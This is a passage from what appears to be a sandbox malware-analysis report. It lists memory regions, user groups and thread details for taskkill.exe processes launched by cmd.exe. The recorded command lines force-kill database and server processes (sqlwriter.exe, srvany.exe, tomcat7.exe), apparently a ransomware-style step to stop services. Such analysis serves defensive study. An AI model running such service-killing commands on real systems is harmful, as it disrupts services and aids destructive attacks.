framedynos.dll 0x74c90000 0x74cc4fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
srvcli.dll 0x75330000 0x75348fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptbase.dll 0x753f0000 0x753fbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sspicli.dll 0x75400000 0x7545ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcrt.dll 0x755a0000 0x7564bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
advapi32.dll 0x763f0000 0x7648ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
clbcatq.dll 0x76490000 0x76512fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernel32.dll 0x76520000 0x7662ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrt4.dll 0x76690000 0x7677ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shlwapi.dll 0x76780000 0x767d6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
imm32.dll 0x767e0000 0x7683ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
oleaut32.dll 0x76910000 0x7699efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sechost.dll 0x769a0000 0x769b8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
nsi.dll 0x76c80000 0x76c85fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
usp10.dll 0x76c90000 0x76d2cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ole32.dll 0x76d30000 0x76e8bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
lpk.dll 0x76ea0000 0x76ea9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ws2_32.dll 0x77130000 0x77164fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msctf.dll 0x771f0000 0x772bbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernelbase.dll 0x772c0000 0x77305fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
user32.dll 0x77310000 0x7740ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
gdi32.dll 0x77410000 0x7749ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x00000000774a0000 0x774a0000 0x77599fff Private Memory Readable, Writable, Executable True False False
  • Region Actions
private_0x00000000775a0000 0x775a0000 0x776befff Private Memory Readable, Writable, Executable True False False
  • Region Actions
ntdll.dll 0x776c0000 0x77868fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdll.dll 0x778a0000 0x77a1ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000000007efaa000 0x7efaa000 0x7efacfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efad000 0x7efad000 0x7efaffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x000000007efb0000 0x7efb0000 0x7efd2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007efd5000 0x7efd5000 0x7efd7fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efd8000 0x7efd8000 0x7efdafff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdb000 0x7efdb000 0x7efddfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efde000 0x7efde000 0x7efdefff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdf000 0x7efdf000 0x7efdffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True False False
  • Region Actions
private_0x000000007fff0000 0x7fff0000 0x7fffffeffff Private Memory Readable True False False
  • Region Actions
Process #36: taskkill.exe
+
Information Value
ID #36
File Name c:\windows\syswow64\taskkill.exe
Command Line TASKKILL /F /IM sqlwriter.exe /IM sqlwriter.exe
Initial Working Directory C:\Users\kFT6uTQW\Desktop\
Monitor Start Time: 00:01:32, Reason: Child Process
Unmonitor End Time: 00:02:35, Reason: Terminated by Timeout
Monitor Duration 00:01:03
Remarks No high level activity detected in monitored regions
OS Process Information
+
Information Value
PID 0x604
Parent PID 0xbb0 (c:\windows\syswow64\cmd.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username XABNCPUWKW\kFT6uTQW
Groups
  • XABNCPUWKW\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:0000e8ae (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x BBC
0x 4FC
0x 7CC
0x 780
0x 494
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000030000 0x00030000 0x00031fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000030000 0x00030000 0x00036fff Pagefile Backed Memory Readable True False False
  • Region Actions
apisetschema.dll 0x00040000 0x00040fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000050000 0x00050000 0x00053fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000060000 0x00060000 0x00060fff Pagefile Backed Memory Readable True False False
  • Region Actions
locale.nls 0x00070000 0x000d6fff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x00000000000e0000 0x000e0000 0x000e1fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
taskkill.exe.mui 0x000f0000 0x000f3fff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000000100000 0x00100000 0x00100fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000110000 0x00110000 0x0014ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000150000 0x00150000 0x00150fff Private Memory Readable, Writable True False False
  • Region Actions
kernelbase.dll.mui 0x00160000 0x0021ffff Memory Mapped File Readable, Writable False False False
  • Region Actions
pagefile_0x0000000000220000 0x00220000 0x00220fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000230000 0x00230000 0x00230fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000240000 0x00240000 0x0027ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000280000 0x00280000 0x0028ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000002a0000 0x002a0000 0x002dffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000002f0000 0x002f0000 0x0032ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000350000 0x00350000 0x0038ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000390000 0x00390000 0x003cffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000003f0000 0x003f0000 0x0046ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000470000 0x00470000 0x0056ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000580000 0x00580000 0x0067ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000680000 0x00680000 0x00807fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000820000 0x00820000 0x0085ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000900000 0x00900000 0x0093ffff Private Memory Readable, Writable True False False
  • Region Actions
taskkill.exe 0x00980000 0x00995fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x00000000009a0000 0x009a0000 0x00b20fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000b30000 0x00b30000 0x01f2ffff Pagefile Backed Memory Readable True False False
  • Region Actions
sortdefault.nls 0x01f30000 0x021fefff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000002260000 0x02260000 0x0229ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002320000 0x02320000 0x0235ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000023e0000 0x023e0000 0x0241ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002490000 0x02490000 0x024cffff Private Memory Readable, Writable True False False
  • Region Actions
dbghelp.dll 0x6a520000 0x6a60afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
fastprox.dll 0x6a880000 0x6a915fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mpr.dll 0x73ba0000 0x73bb1fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64cpu.dll 0x73fd0000 0x73fd7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64win.dll 0x73fe0000 0x7403bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64.dll 0x74040000 0x7407efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
secur32.dll 0x74080000 0x74087fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rsaenh.dll 0x74460000 0x7449afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrtremote.dll 0x749d0000 0x749ddfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptsp.dll 0x749e0000 0x749f5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
version.dll 0x74b50000 0x74b58fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemcomn.dll 0x74b70000 0x74bcbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdsapi.dll 0x74bd0000 0x74be7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemsvc.dll 0x74bf0000 0x74bfefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
winsta.dll 0x74c00000 0x74c28fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wkscli.dll 0x74c30000 0x74c3efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemprox.dll 0x74c40000 0x74c49fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
framedynos.dll 0x74c50000 0x74c84fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netutils.dll 0x74c90000 0x74c98fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netapi32.dll 0x74ca0000 0x74cb0fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wtsapi32.dll 0x74cc0000 0x74cccfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
srvcli.dll 0x75330000 0x75348fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptbase.dll 0x753f0000 0x753fbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sspicli.dll 0x75400000 0x7545ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcrt.dll 0x755a0000 0x7564bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
advapi32.dll 0x763f0000 0x7648ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
clbcatq.dll 0x76490000 0x76512fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernel32.dll 0x76520000 0x7662ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrt4.dll 0x76690000 0x7677ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shlwapi.dll 0x76780000 0x767d6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
imm32.dll 0x767e0000 0x7683ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
oleaut32.dll 0x76910000 0x7699efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sechost.dll 0x769a0000 0x769b8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
nsi.dll 0x76c80000 0x76c85fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
usp10.dll 0x76c90000 0x76d2cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ole32.dll 0x76d30000 0x76e8bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
lpk.dll 0x76ea0000 0x76ea9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ws2_32.dll 0x77130000 0x77164fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msctf.dll 0x771f0000 0x772bbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernelbase.dll 0x772c0000 0x77305fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
user32.dll 0x77310000 0x7740ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
gdi32.dll 0x77410000 0x7749ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x00000000774a0000 0x774a0000 0x77599fff Private Memory Readable, Writable, Executable True False False
  • Region Actions
private_0x00000000775a0000 0x775a0000 0x776befff Private Memory Readable, Writable, Executable True False False
  • Region Actions
ntdll.dll 0x776c0000 0x77868fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdll.dll 0x778a0000 0x77a1ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000000007efaa000 0x7efaa000 0x7efacfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efad000 0x7efad000 0x7efaffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x000000007efb0000 0x7efb0000 0x7efd2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007efd5000 0x7efd5000 0x7efd7fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efd8000 0x7efd8000 0x7efdafff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdb000 0x7efdb000 0x7efddfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efde000 0x7efde000 0x7efdefff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdf000 0x7efdf000 0x7efdffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True False False
  • Region Actions
private_0x000000007fff0000 0x7fff0000 0x7fffffeffff Private Memory Readable True False False
  • Region Actions
Process #37: taskkill.exe
+
Information Value
ID #37
File Name c:\windows\syswow64\taskkill.exe
Command Line TASKKILL /F /IM srvany.exe /IM srvany.exe
Initial Working Directory C:\Users\kFT6uTQW\Desktop\
Monitor Start Time: 00:01:33, Reason: Child Process
Unmonitor End Time: 00:02:35, Reason: Terminated by Timeout
Monitor Duration 00:01:02
Remarks No high level activity detected in monitored regions
OS Process Information
+
Information Value
PID 0x7b0
Parent PID 0xbb0 (c:\windows\syswow64\cmd.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username XABNCPUWKW\kFT6uTQW
Groups
  • XABNCPUWKW\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:0000e8ae (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x 35C
0x 638
0x 644
0x 220
0x 444
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000030000 0x00030000 0x00031fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000030000 0x00030000 0x00036fff Pagefile Backed Memory Readable True False False
  • Region Actions
apisetschema.dll 0x00040000 0x00040fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000050000 0x00050000 0x00053fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000060000 0x00060000 0x00060fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000070000 0x00070000 0x00071fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
taskkill.exe.mui 0x00080000 0x00083fff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000000090000 0x00090000 0x000cffff Private Memory Readable, Writable True False False
  • Region Actions
locale.nls 0x000d0000 0x00136fff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000000140000 0x00140000 0x00140fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000150000 0x00150000 0x00150fff Private Memory Readable, Writable True False False
  • Region Actions
kernelbase.dll.mui 0x00160000 0x0021ffff Memory Mapped File Readable, Writable False False False
  • Region Actions
pagefile_0x0000000000220000 0x00220000 0x00220fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000230000 0x00230000 0x00230fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000240000 0x00240000 0x0027ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000280000 0x00280000 0x002bffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000002e0000 0x002e0000 0x0031ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000340000 0x00340000 0x0037ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000003f0000 0x003f0000 0x0046ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000470000 0x00470000 0x005f7fff Pagefile Backed Memory Readable True False False
  • Region Actions
taskkill.exe 0x00640000 0x00655fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x0000000000690000 0x00690000 0x006cffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000720000 0x00720000 0x0075ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000007d0000 0x007d0000 0x008cffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x00000000008d0000 0x008d0000 0x00a50fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000a80000 0x00a80000 0x00abffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000ac0000 0x00ac0000 0x00acffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000ad0000 0x00ad0000 0x01ecffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000001ed0000 0x01ed0000 0x01fcffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001fd0000 0x01fd0000 0x0200ffff Private Memory Readable, Writable True False False
  • Region Actions
sortdefault.nls 0x02010000 0x022defff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000002310000 0x02310000 0x0234ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002350000 0x02350000 0x0238ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002390000 0x02390000 0x023cffff Private Memory Readable, Writable True False False
  • Region Actions
fastprox.dll 0x6a570000 0x6a605fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
dbghelp.dll 0x6a830000 0x6a91afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mpr.dll 0x73ba0000 0x73bb1fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64cpu.dll 0x73fd0000 0x73fd7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64win.dll 0x73fe0000 0x7403bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64.dll 0x74040000 0x7407efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
secur32.dll 0x74080000 0x74087fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rsaenh.dll 0x74460000 0x7449afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrtremote.dll 0x749d0000 0x749ddfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptsp.dll 0x749e0000 0x749f5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
version.dll 0x74b50000 0x74b58fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdsapi.dll 0x74b70000 0x74b87fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemsvc.dll 0x74b90000 0x74b9efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
winsta.dll 0x74ba0000 0x74bc8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemcomn.dll 0x74bd0000 0x74c2bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemprox.dll 0x74c30000 0x74c39fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wkscli.dll 0x74c40000 0x74c4efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netutils.dll 0x74c50000 0x74c58fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netapi32.dll 0x74c60000 0x74c70fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wtsapi32.dll 0x74c80000 0x74c8cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
framedynos.dll 0x74c90000 0x74cc4fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
srvcli.dll 0x75330000 0x75348fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptbase.dll 0x753f0000 0x753fbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sspicli.dll 0x75400000 0x7545ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcrt.dll 0x755a0000 0x7564bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
advapi32.dll 0x763f0000 0x7648ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
clbcatq.dll 0x76490000 0x76512fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernel32.dll 0x76520000 0x7662ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrt4.dll 0x76690000 0x7677ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shlwapi.dll 0x76780000 0x767d6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
imm32.dll 0x767e0000 0x7683ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
oleaut32.dll 0x76910000 0x7699efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sechost.dll 0x769a0000 0x769b8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
nsi.dll 0x76c80000 0x76c85fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
usp10.dll 0x76c90000 0x76d2cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ole32.dll 0x76d30000 0x76e8bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
lpk.dll 0x76ea0000 0x76ea9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ws2_32.dll 0x77130000 0x77164fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msctf.dll 0x771f0000 0x772bbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernelbase.dll 0x772c0000 0x77305fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
user32.dll 0x77310000 0x7740ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
gdi32.dll 0x77410000 0x7749ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x00000000774a0000 0x774a0000 0x77599fff Private Memory Readable, Writable, Executable True False False
  • Region Actions
private_0x00000000775a0000 0x775a0000 0x776befff Private Memory Readable, Writable, Executable True False False
  • Region Actions
ntdll.dll 0x776c0000 0x77868fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdll.dll 0x778a0000 0x77a1ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000000007efaa000 0x7efaa000 0x7efacfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efad000 0x7efad000 0x7efaffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x000000007efb0000 0x7efb0000 0x7efd2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007efd5000 0x7efd5000 0x7efd7fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efd8000 0x7efd8000 0x7efdafff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdb000 0x7efdb000 0x7efddfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efde000 0x7efde000 0x7efdefff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdf000 0x7efdf000 0x7efdffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True False False
  • Region Actions
private_0x000000007fff0000 0x7fff0000 0x7fffffeffff Private Memory Readable True False False
  • Region Actions
Process #38: taskkill.exe
+
Information Value
ID #38
File Name c:\windows\syswow64\taskkill.exe
Command Line TASKKILL /F /IM tomcat7.exe /IM tomcat7.exe
Initial Working Directory C:\Users\kFT6uTQW\Desktop\
Monitor Start Time: 00:01:34, Reason: Child Process
Unmonitor End Time: 00:02:35, Reason: Terminated by Timeout
Monitor Duration 00:01:01
Remarks No high level activity detected in monitored regions
OS Process Information
+
Information Value
PID 0xbd8
Parent PID 0xbb0 (c:\windows\syswow64\cmd.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username XABNCPUWKW\kFT6uTQW
Groups
  • XABNCPUWKW\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:0000e8ae (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x BCC
0x BD0
0x BC8
0x BC4
0x 31C
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000030000 0x00030000 0x00031fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000030000 0x00030000 0x0003ffff Private Memory Readable, Writable True False False
  • Region Actions
apisetschema.dll 0x00040000 0x00040fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x0000000000050000 0x00050000 0x0008ffff Private Memory Readable, Writable True False False
